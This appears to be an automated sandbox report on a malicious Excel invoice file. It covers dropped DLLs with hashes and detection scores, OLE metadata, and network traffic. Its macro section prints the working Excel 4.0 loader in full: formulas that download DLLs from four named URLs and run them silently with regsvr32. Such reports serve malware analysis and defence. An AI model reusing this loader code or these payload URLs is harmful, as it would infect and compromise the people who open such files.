Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\Local\Temp\Tar3C9C.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	modified
Size (bytes):	162196
Entropy (8bit):	6.301436092020807
Encrypted:	false
SSDEEP:	1536:Nga6crtilgCyNY2Ip/5ib6NWdm1wpzru2RPZz04D8rlCMiB3XlMc:Na0imCy/dm0zru2RN97MiVGc
MD5:	E721613517543768F0DE47A6EEEE3475
SHA1:	3FFC13E3157CF6EB9E9CCAB57B9058209AF41D69
SHA-256:	3163B82D1289693122EF99ED6C3C1911F68AA2A7296907CEBF84C897141CED4E
SHA-512:	E097CAB58C5E390FDC2DB03A59329A548A60069804487828B70519A403622260E57F10B09D9DDAEEB3C31491FE32221FB67965C490771A3D42E45EBB8BE26587
Malicious:	false
Preview:	0..y....H.........y.0..yz...1.0...`.H.e......0..i...+.....7.....i.0..i.0...+.....7........SiU[v...220418211447Z0...+......0..i.0..D.....`...@.,..0..0.r1..0...+.....7..h1......+h...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o

C:\Users\user\AppData\Local\Temp\~DFE4A10193AB5B5F72.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.4344832916567816
Encrypted:	false
SSDEEP:	768:ODRKpb8rGYrMPe3q7Q0XV5xtezE8vpI8UM+Vg9s1Xb:OVKpb8rGYrMPe3q7Q0XV5xtezE8vG8Uf
MD5:	FEB082659EDCEF8A2B3CDC150B38C817
SHA1:	B800D29AF62E6C1D6EBBEFBA7ABCB92FAB3B3826
SHA-256:	88835663ED10875B6C5BE1EE758F7E31BC9AB979A9B20F3E6E86F7DDE0969056
SHA-512:	8890D3EF3A02C39FD46C5283BA38AFE6B451EF6E1C394EDC162F76172521BCB0674ED67F934C626012DF4A65DFEFF2D73ADF87BC70CB5B6C422FCBCA2D0163F4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\RechnungsDetails.xls

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 08:38:10 2022, Security: 0
Category:	dropped
Size (bytes):	69120
Entropy (8bit):	6.453679493508971
Encrypted:	false
SSDEEP:	1536:gVKpb8rGYrMPe3q7Q0XV5xtezE8vG8UM+u9s1a6YG2jzQ0viPvDNHhGty:+Kpb8rGYrMPe3q7Q0XV5xtezE8vG8UMq
MD5:	825BF3DFA97B31B108A2695618E3FC1B
SHA1:	B20D8EF763B0EB330619BC88881A4F799BD2FE45
SHA-256:	790FBCD1AED3CD4C9064C9AB7AF433A61B80A647EACF0E0320857441658CFE60
SHA-512:	BC3AFEED00333DC3B4F6148A8BC25B85867A07DC23A6C6FB7983BB6FC4E0AD408F6F7F2704F16FEA825BC06B52CBB16C53239C63E0F104C61DE7209C67FBB67A
Malicious:	true
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ZO..........................\.p....userTH B.....a.........=.................................................=........Ve18.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......

C:\Users\user\uxevr1.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158100775230176
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTM0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3T1RIvgMSS3AyUrhYu3j
MD5:	3E28EC446EC996E82C1330164271ACDD
SHA1:	61FD8CCDFFDC93C3FE10D926524701E926499B8E
SHA-256:	8975189B8CB95CA5DC8EDAE1AC48C816A065467355B5C8678C6D9C0323C8F13B
SHA-512:	19864DF1260BF4DCCF22B84ACCB50D09C27D499582A2166F7B419B7FD5D16B2C31DF3E199009A449E38BAAAC853EDD8B3F60F0330176E316F032C645D6840090
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr2.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	376320
Entropy (8bit):	7.110062137113599
Encrypted:	false
SSDEEP:	6144:3LAmffHSqTgEIUvQbPR7PzWtM8aoAVXywf1Ey3B86v/MUxo1/BwNPAtZZr:7AmffHcjSO7lrfyyR8Gm1/Sex
MD5:	290B5A7C7EEDF92605DDA68B9F61D6BC
SHA1:	B409CA9851FECCA61E6CB0AAAA56FDAAFC7242F5
SHA-256:	38B418029CB9E717604336AC6B2AF141A8549EFA0B7DA970CBEE4E0FA199A056
SHA-512:	4A0161841098D1C51536B21C0AC40970231478F98FFE2966E8A4DC8D58856669AA25593EF446B3DDA2556366B92D1C4DD892768F210F9B1C8C6E256C9F2B008D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 37%, Browse Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S..................!................... ................................Rich...................PE..d.....b.........." .....`..........\|........................................ ............@.............................................r...$...P....p.......P..<....................................................................p.. ............................text...Z^.......`.................. ..`.rdata.......p.......d..............@..@.data....C..........................@....pdata..<....P......................@..@.rsrc........p......."..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Users\user\uxevr4.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158103111942775
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTD0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TeRIvgMSS3AyUrhYu3j
MD5:	DC718A4E9DA03BBC0673313CD6D7715C
SHA1:	C500D8F78D3EFFA575F7AD020513B2CDD96653DC
SHA-256:	67C21491D013E6DBE6E123530F6686010163E75EF3DF41CEEBF7601C78692434
SHA-512:	7053E6BCF2E6F8DDC51E4152993E86DFBA83E6DD0EE3476F77CD7DCB916ADAB611730DF1B5E936BE476C73DE5F2241BFF96CCE53697DE4693DBE943457785D0C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\AQbqR\xhDhNsFFy.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158103111942775
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTD0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TeRIvgMSS3AyUrhYu3j
MD5:	DC718A4E9DA03BBC0673313CD6D7715C
SHA1:	C500D8F78D3EFFA575F7AD020513B2CDD96653DC
SHA-256:	67C21491D013E6DBE6E123530F6686010163E75EF3DF41CEEBF7601C78692434
SHA-512:	7053E6BCF2E6F8DDC51E4152993E86DFBA83E6DD0EE3476F77CD7DCB916ADAB611730DF1B5E936BE476C73DE5F2241BFF96CCE53697DE4693DBE943457785D0C
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\FIdWcB\GulPp.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158100775230176
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTM0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3T1RIvgMSS3AyUrhYu3j
MD5:	3E28EC446EC996E82C1330164271ACDD
SHA1:	61FD8CCDFFDC93C3FE10D926524701E926499B8E
SHA-256:	8975189B8CB95CA5DC8EDAE1AC48C816A065467355B5C8678C6D9C0323C8F13B
SHA-512:	19864DF1260BF4DCCF22B84ACCB50D09C27D499582A2166F7B419B7FD5D16B2C31DF3E199009A449E38BAAAC853EDD8B3F60F0330176E316F032C645D6840090
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	376320
Entropy (8bit):	7.110062137113599
Encrypted:	false
SSDEEP:	6144:3LAmffHSqTgEIUvQbPR7PzWtM8aoAVXywf1Ey3B86v/MUxo1/BwNPAtZZr:7AmffHcjSO7lrfyyR8Gm1/Sex
MD5:	290B5A7C7EEDF92605DDA68B9F61D6BC
SHA1:	B409CA9851FECCA61E6CB0AAAA56FDAAFC7242F5
SHA-256:	38B418029CB9E717604336AC6B2AF141A8549EFA0B7DA970CBEE4E0FA199A056
SHA-512:	4A0161841098D1C51536B21C0AC40970231478F98FFE2966E8A4DC8D58856669AA25593EF446B3DDA2556366B92D1C4DD892768F210F9B1C8C6E256C9F2B008D
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 37%, Browse Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S..................!................... ................................Rich...................PE..d.....b.........." .....`..........\|........................................ ............@.............................................r...$...P....p.......P..<....................................................................p.. ............................text...Z^.......`.................. ..`.rdata.......p.......d..............@..@.data....C..........................@....pdata..<....P......................@..@.rsrc........p......."..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 08:38:10 2022, Security: 0
Entropy (8bit):	6.4534737128183925
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	RechnungsDetails.xls
File size:	69138
MD5:	3264e16e2d21836e4087e76d0943b8b4
SHA1:	525547db03f6c255882476ac9b16c305731b4ad1
SHA256:	30b599f8110f4a5c63bd656e7fe30a405de553e221c48932aa9eaef5625c3b77
SHA512:	37bf9e22d0c2568d5b3f918ea0b6a4bdd9fdba3847f86ffff316639d8e5009d334e72eb7b850b567051a1bbb0aa69a59ebf58ee5abdbad6c693c567b656dfdbe
SSDEEP:	1536:nVKpb8rGYrMPe3q7Q0XV5xtezE8vG8UM+u9s1a6YG2jzQ0viPvDNHhGto:VKpb8rGYrMPe3q7Q0XV5xtezE8vG8UMQ
TLSH:	82635A467A59C92DF914D33549D74BA97316FC318F6B0A833225F324AFFD8A09A0361B
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "RechnungsDetails.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Code Page:	1251
Author:	Dream
Last Saved By:	TYHRETH
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2022-05-20 07:38:10
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Document Code Page:	1251
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.407040667464
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t . . . . . E S R S G B 1 . . . . . E G S H R H V 2 . . . . . E S H V G R E R 3 . . . . . P K E K P P G
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 18 01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 d7 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.281284383303
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D r e a m . . . . . . . . . . . T Y H R E T H . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . . . . @ . . . . . . . . l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 58873

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	58873
Entropy:	7.0959162425
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . T Y H R E T H B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . V e 1 8 . . . . . . . X . @ . . . . . . . . . . . " . . .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 07 00 00 54 59 48 52 45 54 48 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepre7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.melisetotoaksesuar.com/catalog/controller/account/dqfKI/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://masyuk.com/581voyze/MlX/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepost7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.melisetotoaksesuar.com/catalog/controller/account/dqfKI/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://masyuk.com/581voyze/MlX/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)10,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.melisetotoaksesuar.com/catalog/controller/account/dqfKI/","..\uxevr1.ocx",0,0)12,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")14,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/","..\uxevr2.ocx",0,0)16,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")18,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://masyuk.com/581voyze/MlX/","..\uxevr3.ocx",0,0)20,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")22,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/","..\uxevr4.ocx",0,0)24,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")28,5,=RETURN()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 08:59:56.508605003 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:56.508644104 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:56.508713007 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:56.520324945 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:56.520356894 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:56.703500032 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:56.703655958 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:56.720774889 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:56.720813990 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:56.721216917 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:56.721602917 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.048538923 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.092494011 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.228203058 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.228373051 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.228382111 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.228452921 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.228492022 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.228512049 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.228668928 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.228810072 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.228936911 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.229020119 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.229068041 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.229151011 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.235040903 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.311139107 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.311283112 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.311364889 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.311384916 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.311402082 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.311455011 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.311522961 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.311603069 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.311639071 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.311713934 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.311868906 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.311954975 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.311981916 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.311991930 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.312016010 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.312078953 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.312875032 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.394484997 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.394660950 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.394660950 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.394695044 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.394747972 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.394783974 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.394953012 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.395080090 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.395104885 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.395112038 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.395121098 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.395158052 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.395163059 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.395644903 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.395653009 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.395719051 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.395756006 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.395821095 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.395975113 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.396045923 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.396085024 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.396151066 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.396294117 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.396361113 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.396398067 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.396461964 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.396639109 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.396724939 CEST	49173	443	192.168.2.22	212.98.224.29
